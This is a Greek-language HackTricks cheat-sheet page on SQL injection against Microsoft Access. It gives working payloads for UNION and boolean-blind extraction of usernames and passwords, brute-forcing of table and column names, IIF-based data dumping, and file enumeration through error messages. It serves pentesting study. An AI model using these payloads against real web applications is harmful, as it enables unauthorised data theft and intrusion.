MS Access SQL Injection
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Online Playground
DB Limitations
String Concatenation
Η σύνθεση συμβολοσειρών είναι δυνατή με τους χαρακτήρες & (%26)
και + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Σχόλια
Δεν υπάρχουν σχόλια στο MS Access, αλλά προφανώς είναι δυνατόν να αφαιρεθεί το τελευταίο ενός ερωτήματος με έναν χαρακτήρα NULL:
1' union select 1,2 from table%00
Αν αυτό δεν λειτουργεί, μπορείτε πάντα να διορθώσετε τη σύνταξη του ερωτήματος:
1' UNION SELECT 1,2 FROM table WHERE ''='
Στοιβαγμένες Ερωτήσεις
Δεν υποστηρίζονται.
ΟΡΙΟ
Ο LIMIT
τελεστής δεν έχει υλοποιηθεί. Ωστόσο, είναι δυνατόν να περιορίσετε τα αποτελέσματα της ερώτησης SELECT στις πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον τελεστή TOP
. Ο TOP
δέχεται ως όρισμα έναν ακέραιο, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.
1' UNION SELECT TOP 3 attr FROM table%00
Ακριβώς όπως το TOP, μπορείτε να χρησιμοποιήσετε LAST
που θα πάρει τις γραμμές από το τέλος.
UNION Ερωτήσεις/Υποερωτήσεις
Σε μια SQLi, συνήθως θα θέλετε να εκτελέσετε μια νέα ερώτηση για να εξαγάγετε πληροφορίες από άλλους πίνακες. Η MS Access απαιτεί πάντα ότι σε υποερωτήσεις ή επιπλέον ερωτήσεις πρέπει να υποδεικνύεται ένα FROM
.
Έτσι, αν θέλετε να εκτελέσετε ένα UNION SELECT
ή UNION ALL SELECT
ή ένα SELECT
μέσα σε παρένθεση σε μια συνθήκη, πρέπει πάντα να υποδείξετε ένα FROM
με ένα έγκυρο όνομα πίνακα.
Επομένως, πρέπει να γνωρίζετε ένα έγκυρο όνομα πίνακα.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Αυτό θα σας επιτρέψει να εξάγετε τιμές του τρέχοντος πίνακα χωρίς να χρειάζεται να γνωρίζετε το όνομα του πίνακα.
MS Access επιτρέπει παράξενες συνταγές όπως '1'=2='3'='asd'=false
. Όπως συνήθως, η SQL injection θα είναι μέσα σε μια WHERE
ρήτρα και μπορούμε να το εκμεταλλευτούμε αυτό.
Φανταστείτε ότι έχετε μια SQLi σε μια βάση δεδομένων MS Access και γνωρίζετε (ή μαντέψατε) ότι ένα όνομα στήλης είναι username, και αυτό είναι το πεδίο που θέλετε να εξάγετε. Θα μπορούσατε να ελέγξετε τις διαφορετικές απαντήσεις της εφαρμογής ιστού όταν χρησιμοποιείται η τεχνική chaining equals και ενδεχομένως να εξάγετε περιεχόμενο με μια boolean injection χρησιμοποιώντας τη συνάρτηση Mid
για να αποκτήσετε υποσυμβολοσειρές.
'=(Mid(username,1,3)='adm')='
Αν γνωρίζετε το όνομα του πίνακα και τη στήλη που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ Mid
, LAST
και TOP
για να διαρρεύσετε όλες τις πληροφορίες μέσω boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Μη διστάσετε να το ελέγξετε στο διαδικτυακό playground.
Brute-forcing ονόματα πινάκων
Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να bruteforce ονόματα πινάκων με κάτι σαν:
'=(select+top+1+'lala'+from+<table_name>)='
Μπορείτε επίσης να χρησιμοποιήσετε έναν πιο παραδοσιακό τρόπο:
-1' AND (SELECT TOP 1 <table_name>)%00
Μη διστάσετε να το ελέγξετε στο διαδικτυακό playground.
- Sqlmap κοινά ονόματα πινάκων: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Υπάρχει μια άλλη λίστα στο http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Βίαιη Δοκιμή Ονομάτων Στηλών
Μπορείτε να βίαια δοκιμάσετε τα τρέχοντα ονόματα στηλών με το κόλπο της αλυσίδας ίσων με:
'=column_name='
Ή με ένα group by:
-1' GROUP BY column_name%00
Ή μπορείτε να κάνετε brute-force τα ονόματα στηλών ενός διαφορετικού πίνακα με:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Έχουμε ήδη συζητήσει την τεχνική chaining equals για να εξάγουμε δεδομένα από τον τρέχοντα και άλλους πίνακες. Αλλά υπάρχουν και άλλοι τρόποι:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Σε γενικές γραμμές, το ερώτημα χρησιμοποιεί μια δήλωση “if-then” προκειμένου να ενεργοποιήσει ένα “200 OK” σε περίπτωση επιτυχίας ή ένα “500 Internal Error” διαφορετικά. Εκμεταλλευόμενοι τον τελεστή TOP 10, είναι δυνατόν να επιλεγούν τα πρώτα δέκα αποτελέσματα. Η επακόλουθη χρήση του LAST επιτρέπει να εξεταστεί μόνο η 10η πλειάδα. Σε αυτή την τιμή, χρησιμοποιώντας τον τελεστή MID, είναι δυνατόν να πραγματοποιηθεί μια απλή σύγκριση χαρακτήρων. Αλλάζοντας σωστά τον δείκτη του MID και του TOP, μπορούμε να εξάγουμε το περιεχόμενο του πεδίου “username” για όλες τις γραμμές.
Χρόνος Βασισμένος
Άλλες Ενδιαφέρουσες συναρτήσεις
Mid('admin',1,1)
παίρνει υποσυμβολο από τη θέση 1 μήκους 1 (η αρχική θέση είναι 1)LEN('1234')
παίρνει το μήκος της συμβολοσειράςASC('A')
παίρνει την ascii τιμή του χαρακτήραCHR(65)
παίρνει τη συμβολοσειρά από την ascii τιμήIIF(1=1,'a','b')
αν τότεCOUNT(*)
Μετράει τον αριθμό των στοιχείων
Καταμέτρηση πινάκων
Από εδώ μπορείτε να δείτε ένα ερώτημα για να αποκτήσετε τα ονόματα των πινάκων:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Ωστόσο, σημειώστε ότι είναι πολύ τυπικό να βρείτε SQL Injections όπου δεν έχετε πρόσβαση για να διαβάσετε τον πίνακα MSysObjects
.
Πρόσβαση στο Σύστημα Αρχείων
Πλήρης Διαδρομή Καταλόγου Ρίζας Ιστοσελίδας
Η γνώση της απόλυτης διαδρομής ρίζας της ιστοσελίδας μπορεί να διευκολύνει περαιτέρω επιθέσεις. Εάν τα σφάλματα της εφαρμογής δεν είναι εντελώς κρυμμένα, η διαδρομή του καταλόγου μπορεί να αποκαλυφθεί προσπαθώντας να επιλέξετε δεδομένα από μια ανύπαρκτη βάση δεδομένων.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
Η MS Access απαντά με ένα μήνυμα σφάλματος που περιέχει την πλήρη διαδρομή του καταλόγου ιστού.
Καταμέτρηση Αρχείων
Ο ακόλουθος επιθετικός παράγοντας μπορεί να χρησιμοποιηθεί για να συμπεράνει την ύπαρξη ενός αρχείου στο απομακρυσμένο σύστημα αρχείων. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access ενεργοποιεί ένα μήνυμα σφάλματος που ενημερώνει ότι η μορφή της βάσης δεδομένων είναι μη έγκυρη:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Ένας άλλος τρόπος για να καταμετρήσετε αρχεία είναι να καθορίσετε ένα στοιχείο database.table. Εάν το καθορισμένο αρχείο υπάρχει, η MS Access εμφανίζει ένα μήνυμα σφάλματος μορφής βάσης δεδομένων.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Μαντεψιά Ονόματος Αρχείου .mdb
Το όνομα αρχείου βάσης δεδομένων (.mdb) μπορεί να συμπεραστεί με την ακόλουθη ερώτηση:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Όπου name[i] είναι ένα όνομα αρχείου .mdb και realTable είναι ένας υπάρχων πίνακας μέσα στη βάση δεδομένων. Αν και η MS Access θα ενεργοποιήσει πάντα ένα μήνυμα σφάλματος, είναι δυνατόν να διακριθεί μεταξύ ενός μη έγκυρου ονόματος αρχείου και ενός έγκυρου ονόματος αρχείου .mdb.
Crack του Κωδικού Πρόσβασης .mdb
Access PassView είναι ένα δωρεάν εργαλείο που μπορεί να χρησιμοποιηθεί για να ανακτήσει τον κύριο κωδικό πρόσβασης της βάσης δεδομένων του Microsoft Access 95/97/2000/XP ή Jet Database Engine 3.0/4.0.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.